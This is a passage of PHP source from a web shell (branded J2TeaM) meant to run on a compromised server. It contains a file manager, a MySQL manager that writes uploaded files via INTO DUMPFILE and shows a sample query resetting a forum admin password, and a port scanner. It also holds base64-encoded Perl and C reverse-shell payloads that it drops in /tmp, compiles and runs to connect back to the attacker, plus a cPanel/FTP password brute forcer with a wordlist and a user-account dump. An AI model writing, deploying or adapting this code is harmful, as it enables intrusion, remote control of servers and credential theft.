593 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
594 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>');
595 p('<td>'.((check_str($filedb['server_link'], $_SERVER['DOCUMENT_ROOT'])) ? $J2TeaM->get_url($fileurl, $ext . ' '. $filedb['filename'], $color, '_blank') : $ext . ' <strong>'.$filedb['filename'].'</strong>').'</td>');
596 p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');" title="' . $filedb['mtime2'] . '">'.$filedb['mtime'].'</a></td>');
597 p('<td nowrap>'.$filedb['size'].'</td>');
598 p('<td nowrap>');
599 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
600 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
601 p('<td nowrap>');
602 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Download</a> | ');
603 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
604 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
605 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>');
606 p('</td></tr>');
607 $file_i++;
608 }
609 }
610 p('<tr class="head"><td> </td><td>Name</td><td width="16%">Date modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
611 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="2"><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
612 p('</form></table>');
613} // end dir
614
615elseif ($action == 'phpinfo') {
616 if (IS_PHPINFO) {
617 formhead(array('title' => 'PHP Info'));
618 formfoot();
619 p('<div align="center">');
620 echo $J2TeaM->get_frame(SELF . '?phpinfo', '78%', '580px');
621 p('</div>');
622 } else $errmsg = 'phpinfo() function has non-permissible';
623}
624
625elseif ($action == 'sqlfile') {
626 if($doing == 'mysqlupload') {
627 $file = $_FILES['uploadfile'];
628 $filename = $file['tmp_name'];
629 if (file_exists($savepath)) alert('The goal file has already existed');
630 else
631 {
632 if( ! $filename) alert('Please choose a file');
633 else
634 {
635 $fp=@fopen($filename,'r');
636 $contents=@fread($fp, filesize($filename));
637 @fclose($fp);
638 $contents = bin2hex($contents);
639 if( ! $upname) $upname = $file['name'];
640 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
641 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '{$savepath}';");
642 alert(($result) ? 'Upload success' : 'Upload has failed: '.mysql_error());
643 }
644 }
645 }
646 !$dbhost && $dbhost = 'localhost';
647 !$dbuser && $dbuser = 'root';
648 !$dbport && $dbport = '3306';
649 formhead(array('title'=>'MySQL Information','name'=>'dbinfo'));
650 makehide('action','sqlfile');
651 p('<p>');
652 p('Host:');
653 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
654 p(':');
655 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
656 p('User:');
657 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
658 p('Password:');
659 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
660 p('DB Name:');
661 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
662 p('DB Charset:');
663 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset));
664 p('</p>');
665 formfoot();
666 p('<form action="'.SELF.'" method="post" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
667 p('<h2>Upload file</h2>');
668 p('<p><strong>This operation the DB user must has FILE privilege</strong></p>');
669 p('<p>Save path (full path): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
670 p('<h2>Download file</h2>');
671 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
672 makehide('dbhost');
673 makehide('dbport');
674 makehide('dbuser');
675 makehide('dbpass');
676 makehide('dbname');
677 makehide('charset');
678 makehide('doing');
679 makehide('action','sqlfile');
680 p('</form>');
681} // SQL Files
682
683elseif ($action == 'sqladmin') {
684 !$dbhost && $dbhost = 'localhost';
685 !$dbuser && $dbuser = 'root';
686 !$dbport && $dbport = '3306';
687 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
688 if(isset($dbhost)) $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"{$dbhost}\" />\n";
689 if(isset($dbuser)) $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"{$dbuser}\" />\n";
690 if(isset($dbpass)) $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"{$dbpass}\" />\n";
691 if(isset($dbport)) $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"{$dbport}\" />\n";
692 if(isset($dbname)) $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"{$dbname}\" />\n";
693 if(isset($charset)) $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"{$charset}\" />\n";
694 if ($doing == 'backupmysql' && $saveasfile) {
695 if ( ! $table) alert('Please choose the table');
696 else
697 {
698 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
699 $table = array_flip($table);
700 $fp = @fopen($path,'w');
701 if ($fp) {
702 $result = q('SHOW tables');
703 if ( ! $result) p('<h2>'.mysql_error().'</h2>');
704 $mysqldata = '';
705 while ($currow = mysql_fetch_array($result)) {
706 if (isset($table[$currow[0]])) sqldumptable($currow[0], $fp);
707 }
708 fclose($fp);
709 $fileurl = str_replace(SA_ROOT,'',$path);
710 alert('Database has success backup to ' . $J2TeaM->get_url($fileurl, $path, '', '_blank'));
711 mysql_close();
712 } else alert('Backup failed');
713 }
714 }
715 if ($insert && $insertsql) {
716 $keystr = $valstr = $tmp = '';
717 foreach($insertsql as $key => $val) {
718 if ($val) {
719 $keystr .= $tmp.$key;
720 $valstr .= $tmp."'".addslashes($val)."'";
721 $tmp = ',';
722 }
723 }
724 if ($keystr && $valstr) {
725 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
726 alert((q("INSERT INTO {$tablename} ({$keystr}) VALUES ({$valstr})")) ? 'Insert new record of success' : mysql_error());
727 }
728 }
729 if ($update && $insertsql && $base64) {
730 $valstr = $tmp = '';
731 foreach($insertsql as $key => $val) {
732 $valstr .= $tmp.$key."='".addslashes($val)."'";
733 $tmp = ',';
734 }
735 if ($valstr) {
736 $where = base64_decode($base64);
737 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
738 alert((q("UPDATE {$tablename} SET {$valstr} WHERE {$where} LIMIT 1")) ? 'Record updating' : mysql_error());
739 }
740 }
741 if ($doing == 'del' && $base64) {
742 $where = base64_decode($base64);
743 $delete_sql = "DELETE FROM {$tablename} WHERE {$where}";
744 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
745 alert((q("DELETE FROM {$tablename} WHERE {$where}")) ? 'Deletion record of success' : mysql_error());
746 }
747 if ($tablename && $doing == 'drop') {
748 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
749 if (q("DROP TABLE {$tablename}")) {
750 alert('Drop table of success');
751 $tablename = '';
752 } else alert(mysql_error());
753 }
754 formhead(array('title'=>'MySQL Manager'));
755 makehide('action','sqladmin');
756 p('<p>');
757 p('Host:');
758 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
759 p(':');
760 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
761 p('User:');
762 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
763 p('Password:');
764 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
765 p('DB Charset:');
766 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset));
767 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
768 p('</p>');
769 formfoot();
770
771 // SQL
772 formhead(array('name'=>'recordlist'));
773 makehide('doing');
774 makehide('action','sqladmin');
775 makehide('base64');
776 makehide('tablename');
777 p($dbform);
778 formfoot();
779
780 // Data
781 formhead(array('name'=>'setdbname'));
782 makehide('action','sqladmin');
783 p($dbform);
784 if ( ! $dbname) makehide('dbname');
785 formfoot();
786 formhead(array('name'=>'settable'));
787 makehide('action','sqladmin');
788 p($dbform);
789 makehide('tablename');
790 makehide('page',$page);
791 makehide('doing');
792 formfoot();
793 $cachetables = array();
794 $pagenum = 30;
795 $page = intval($page);
796 if($page) $start_limit = ($page - 1) * $pagenum;
797 else
798 {
799 $start_limit = 0;
800 $page = 1;
801 }
802 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
803 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
804 // get mysql server
805 $mysqlver = mysql_get_server_info();
806 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
807 $highver = $mysqlver > '4.1' ? 1 : 0;
808 // Show database
809 $query = q('SHOW DATABASES');
810 $dbs = array();
811 $dbs[] = '-- Select a DataBase --';
812 while($db = mysql_fetch_array($query)) {
813 $dbs[$db['Database']] = $db['Database'];
814 }
815 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
816 $tabledb = array();
817 if ($dbname) {
818 p('<p>');
819 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
820 if ($tablename) p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
821 p('</p>');
822 mysql_select_db($dbname);
823 $getnumsql = '';
824 $runquery = 0;
825 if ($sql_query) $runquery = 1;
826 $allowedit = 0;
827 if ($tablename && !$sql_query) {
828 $sql_query = "SELECT * FROM {$tablename}";
829 $getnumsql = $sql_query;
830 $sql_query = $sql_query." LIMIT {$start_limit}, {$pagenum}";
831 $allowedit = 1;
832 }
833 p('<form action="'.SELF.'" method="post">');
834 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color="#F00"><strong>'.$dbname.'</font></strong>:<p>Example vBulletin Password: <font color="#F00"><strong>j2team</strong></font><p><font color="#FF0">UPDATE `user` SET `password` = \'60fc2b69604d7dc1c912e4eee4381136\', salt = \'juno\' WHERE `userid` = \'1\' </font><p>
835 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
836 makehide('tablename', $tablename);
837 makehide('action','sqladmin');
838 p($dbform);
839 p('</form>');
840 if ($tablename OR ($runquery && $sql_query)) {
841 if ($doing == 'structure') {
842 $result = q("SHOW COLUMNS FROM {$tablename}");
843 $rowdb = array();
844 while($row = mysql_fetch_array($result)) {
845 $rowdb[] = $row;
846 }
847 p('<table border="0" cellpadding="3" cellspacing="0">');
848 p('<tr class="head">');
849 p('<td>Field</td>');
850 p('<td>Type</td>');
851 p('<td>Null</td>');
852 p('<td>Key</td>');
853 p('<td>Default</td>');
854 p('<td>Extra</td>');
855 p('</tr>');
856 foreach ($rowdb as $row) {
857 $thisbg = bg();
858 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
859 p('<td>'.$row['Field'].'</td>');
860 p('<td>'.$row['Type'].'</td>');
861 p('<td>'.$row['Null'].' </td>');
862 p('<td>'.$row['Key'].' </td>');
863 p('<td>'.$row['Default'].' </td>');
864 p('<td>'.$row['Extra'].' </td>');
865 p('</tr>');
866 }
867 tbfoot();
868 } elseif ($doing == 'insert' OR $doing == 'edit') {
869 $result = q('SHOW COLUMNS FROM '.$tablename);
870 while ($row = mysql_fetch_array($result)) {
871 $rowdb[] = $row;
872 }
873 $rs = array();
874 if ($doing == 'insert') p('<h2>Insert new line in '.$tablename.' table »</h2>');
875 else
876 {
877 p('<h2>Update record in '.$tablename.' table »</h2>');
878 $where = base64_decode($base64);
879 $result = q("SELECT * FROM {$tablename} WHERE {$where} LIMIT 1");
880 $rs = @mysql_fetch_array($result);
881 }
882 p('<form method="post" action="'.SELF.'">');
883 p($dbform);
884 makehide('action','sqladmin');
885 makehide('tablename',$tablename);
886 p('<table border="0" cellpadding="3" cellspacing="0">');
887 foreach ($rowdb as $row) {
888 $value = ($rs[$row['Field']]) ? htmlspecialchars($rs[$row['Field']]) : '';
889 $thisbg = bg();
890 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
891 p('<td><strong>'.$row['Field'].'</strong><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
892 }
893 if ($doing == 'insert') p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
894 else
895 {
896 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
897 makehide('base64', $base64);
898 }
899 p('</table></form>');
900 } else {
901 $querys = @explode(';',$sql_query);
902 foreach($querys as $num=>$query) {
903 if ($query) {
904 p("<p><strong>Query #{$num}: ".htmlspecialchars($query,ENT_QUOTES).'</strong></p>');
905 switch(qy($query))
906 {
907 case 0:
908 p('<h2>Error: '.mysql_error().'</h2>');
909 break;
910 case 1:
911 if (strtolower(substr($query,0,13)) == 'select * from') $allowedit = 1;
912 if ($getnumsql) {
913 $tatol = mysql_num_rows(q($getnumsql));
914 $multipage = multi($tatol, $pagenum, $page, $tablename);
915 }
916 if ( ! $tablename) {
917 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
918 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
919 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
920 $tablename = $matches[1][0];
921 }
922 $result = q($query);
923 p($multipage);
924 p('<table border="0" cellpadding="3" cellspacing="0">');
925 p('<tr class="head">');
926 if ($allowedit) p('<td>Action</td>');
927 $fieldnum = @mysql_num_fields($result);
928 for($i=0;$i<$fieldnum;$i++){
929 $name = @mysql_field_name($result, $i);
930 $type = @mysql_field_type($result, $i);
931 $len = @mysql_field_len($result, $i);
932 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
933 }
934 p('</tr>');
935 while($mn = @mysql_fetch_assoc($result)){
936 $thisbg = bg();
937 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
938 $where = $tmp = $b1 = '';
939 foreach($mn as $key=>$inside) {
940 if ($inside) {
941 $where .= $tmp.$key."='".addslashes($inside)."'";
942 $tmp = ' AND ';
943 }
944 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
945 }
946 $where = base64_encode($where);
947 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
948 p($b1);
949 p('</tr>');
950 unset($b1);
951 }
952 p('<tr class="head">');
953 if ($allowedit) p('<td>Action</td>');
954 $fieldnum = @mysql_num_fields($result);
955 for($i=0;$i<$fieldnum;$i++){
956 $name = @mysql_field_name($result, $i);
957 $type = @mysql_field_type($result, $i);
958 $len = @mysql_field_len($result, $i);
959 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
960 }
961 p('</tr>');
962 tbfoot();
963 p($multipage);
964 break;
965 case 2:
966 $ar = mysql_affected_rows();
967 p('<h2>affected rows: <strong>'.$ar.'</strong></h2>');
968 break;
969 }
970 }
971 }
972 }
973 } else {
974 $query = q('SHOW TABLE STATUS');
975 $table_num = $table_rows = $data_size = 0;
976 $tabledb = array();
977 while($table = mysql_fetch_array($query)) {
978 $data_size = $data_size + $table['Data_length'];
979 $table_rows = $table_rows + $table['Rows'];
980 $table['Data_length'] = sizecount($table['Data_length']);
981 $table_num++;
982 $tabledb[] = $table;
983 }
984 $data_size = sizecount($data_size);
985 unset($table);
986 p('<table border="0" cellpadding="0" cellspacing="0">');
987 p('<form action="'.SELF.'" method="post">');
988 makehide('action','sqladmin');
989 p($dbform);
990 p('<tr class="head">');
991 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
992 p('<td>Name</td>');
993 p('<td>Rows</td>');
994 p('<td>Data_length</td>');
995 p('<td>Create_time</td>');
996 p('<td>Update_time</td>');
997 if ($highver) {
998 p('<td>Engine</td>');
999 p('<td>Collation</td>');
1000 }
1001 p('<td>Operate</td>');
1002 p('</tr>');
1003 foreach ($tabledb as $key => $table) {
1004 $thisbg = bg();
1005 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1006 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1007 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
1008 p('<td>'.$table['Rows'].'</td>');
1009 p('<td>'.$table['Data_length'].'</td>');
1010 p('<td>'.$table['Create_time'].'</td>');
1011 p('<td>'.$table['Update_time'].'</td>');
1012 if ($highver) {
1013 p('<td>'.$table['Engine'].'</td>');
1014 p('<td>'.$table['Collation'].'</td>');
1015 }
1016 p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');
1017 p('</tr>');
1018 }
1019 p('<tr class="head">');
1020 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1021 p('<td>Name</td>');
1022 p('<td>Rows</td>');
1023 p('<td>Data_length</td>');
1024 p('<td>Create_time</td>');
1025 p('<td>Update_time</td>');
1026 if ($highver) {
1027 p('<td>Engine</td>');
1028 p('<td>Collation</td>');
1029 }
1030 p('<td>Operate</td>');
1031 p('</tr>');
1032 p('<tr class=fout>');
1033 p('<td> </td>');
1034 p('<td>Total tables: '.$table_num.'</td>');
1035 p('<td>'.$table_rows.'</td>');
1036 p('<td>'.$data_size.'</td>');
1037 p('<td colspan="'.($highver ? 5 : 3).'"> </td>');
1038 p('</tr>');
1039 p('<tr class="fout"><td colspan="'.($highver ? 9 : 7).'"><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="'.SA_ROOT.$_SERVER['HTTP_HOST'].'_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>');
1040 makehide('doing','backupmysql');
1041 formfoot();
1042 p('</table>');
1043 fr($query);
1044 }
1045 }
1046 }
1047 tbfoot();
1048 @mysql_close();
1049} //end sql backup
1050
1051elseif ($action == 'portscan') {
1052 !$scanip && $scanip = '127.0.0.1';
1053 !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958';
1054 formhead(array('title'=>'Port Scan'));
1055 makehide('action', $action);
1056 p('<p>');
1057 p('IP:');
1058 makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip, 'extra'=>'required'));
1059 p('Port:');
1060 makeinput(array('name'=>'scanport','size'=>60,'value'=>$scanport, 'extra'=>'required'));
1061 makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt'));
1062 p('</p>');
1063 formfoot();
1064 if ($startscan) {
1065 p('<h2>Result »</h2>');
1066 p('<ul class="info">');
1067 $ports = explode(',', $scanport);
1068 foreach($ports as $port) {
1069 $fp = @fsockopen($scanip, $port, $errno, $errstr, 1);
1070 $color = $fp ? '#0F0' : '#F00';
1071 $txt = $fp ? 'Open' : 'Close';
1072 @fclose($fp);
1073 p('<li><strong>'.$scanip.':<strong style="color:' . $color . ';">'.$port.' [' . $txt .']</strong></li>');
1074 flush();
1075 }
1076 p('</ul>');
1077 }
1078} // Port Scanner
1079
1080elseif ($action == 'backconnect') {
1081 check_windows();
1082 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1083 !$yourport && $yourport = '1412';
1084 $usedb = array('perl'=>'perl','c'=>'c');
1085 $back_connect='IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj'.
1086 'aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR'.
1087 'hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT'.
1088 'sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI'.
1089 'kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi'.
1090 'KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl'.
1091 'OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==';
1092 $back_connect_c='I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC'.
1093 'BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb'.
1094 'SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd'.
1095 'KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ'.
1096 'sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC'.
1097 'Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D'.
1098 'QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp'.
1099 'Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==';
1100 if ($start && $yourip && $yourport && $use) {
1101 if ($use == 'perl') {
1102 cf('/tmp/angel_bc', $back_connect);
1103 $res = execute(which('perl')." /tmp/angel_bc {$yourip} {$yourport} &");
1104 } else {
1105 cf('/tmp/angel_bc.c', $back_connect_c);
1106 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1107 @unlink('/tmp/angel_bc.c');
1108 $res = execute("/tmp/angel_bc {$yourip} {$yourport} &");
1109 }
1110 alert("Now script try connect to {$yourip} port {$yourport}...");
1111 }
1112 formhead(array('title'=>'Back Connect'));
1113 makehide('action','backconnect');
1114 p('<p>');
1115 p('Your IP:');
1116 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1117 p('Your Port:');
1118 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1119 p('Use:');
1120 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1121 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1122 p('</p>');
1123 formfoot();
1124} //end backconnect window via NC
1125
1126// Brute
1127elseif ($action == 'brute') {
1128 check_windows();
1129 formhead(array('title'=>'Brute Forcer'));
1130 makehide('action', $action);
1131 makehide('dir',$brute);
1132 @ini_set('memory_limit', 1000000000000);
1133 $connect_timeout = 5;
1134 @set_time_limit(0);
1135 $submit = $_REQUEST['submit'];
1136 $users = $_REQUEST['users'];
1137 $pass = $_REQUEST['passwords'];
1138 $target = $_REQUEST['target'];
1139 $option = $_REQUEST['option'];
1140 if($target == '') $target = 'localhost';
1141 $passlist = '0123456
114201234567
1143012345678
11440123456789
114501234567890
1146123456
11471234567
114812345678
1149123456789
11501234567890
1151111111
1152000000
1153222222
1154333333
1155444444
1156555555
1157666666
1158777777
1159888888
1160999999
1161123123
1162456456
1163789789
1164123321
1165456654
1166654321
11677654321
116887654321
1169987654321
11700987654321
1171admin
1172administrator
1173admincp
1174cpanel
1175adminx
1176admins
1177password
1178passwords
1179passw0rd
1180p@ssw0rd
1181p@ssword
1182khongco
118325251325
1184passw0rds';
1185 echo <<<HTML
1186<div align='center'>
1187<form method='post' style='border: 1px solid #000'><br /><br />
1188<table style='BORDER-COLLAPSE: collapse; border: 1px solid #0F0;' cellSpacing="0" cellPadding="5" width='60%' bgColor="#303030"><tr><td>
1189<strong>Target: </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></strong></p>
1190<div align='center'><br />
1191<table style='BORDER-COLLAPSE: collapse' cellSpacing="0" borderColorDark="#966117" cellPadding="5" width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1192<tr>
1193<td align='center'>
1194<strong>Username</strong></td>
1195<td>
1196<p align='center'>
1197<strong>Password</strong></td>
1198</tr>
1199</table>
1200<p align='center'>
1201<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000; color:#C0C0C0'>
1202HTML;
1203 $i = 0;
1204 while ($i < 60000) {
1205 $line = posix_getpwuid($i);
1206 if ( ! empty($line)) {
1207 while (list ($key, $vba_etcpwd) = each($line)){
1208 echo "{$vba_etcpwd}\n";
1209 break;
1210 }
1211 }
1212 $i++;
1213 }
1214 echo <<<HTML
1215</textarea>
1216<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000; color:#C0C0C0'>{$passlist}</textarea><br /><br />
1217<strong>Options: </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1218<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit'></p>
1219</td></tr></table></td></tr></form><p align='left'>
1220HTML;
1221 if (isset($submit) && !empty($submit)) {
1222 $userlist = explode("\n", $users);
1223 $passlist = explode("\n", $pass);
1224 p('<strong>[juno_okyo@j2team.pro]# Attacking ...</font></strong><br />');
1225 foreach ($userlist as $user) {
1226 $_user = trim($user);
1227 foreach ($passlist as $password) {
1228 $_pass = trim($password);
1229 if ($option == 'ftp') ftp_check($target, $_user, $_pass, $connect_timeout);
1230 if ($option == 'cpanel') cpanel_check($target, $_user, $_pass, $connect_timeout);
1231 }
1232 }
1233 }
1234 formfoot();
1235}
1236elseif ($action == 'etcpwd') {
1237 check_windows();
1238 formhead(array('title'=>'Get /etc/passwd'));
1239 makehide('action', $action);
1240 makehide('dir', $nowpath);
1241 $i = 0;
1242 echo '<br /><p><textarea class="area" id="phpcodexxx" name="phpcodexxx" cols="100" rows="25">';
1243 while ($i < 60000) {
1244 $line = posix_getpwuid($i);
1245 if ( ! empty($line)) {
1246 while (list ($key, $vba_etcpwd) = each($line)) {
1247 echo "".$vba_etcpwd."\n";
1248 break;
1249 }
1250 }
1251 $i++;
1252 }
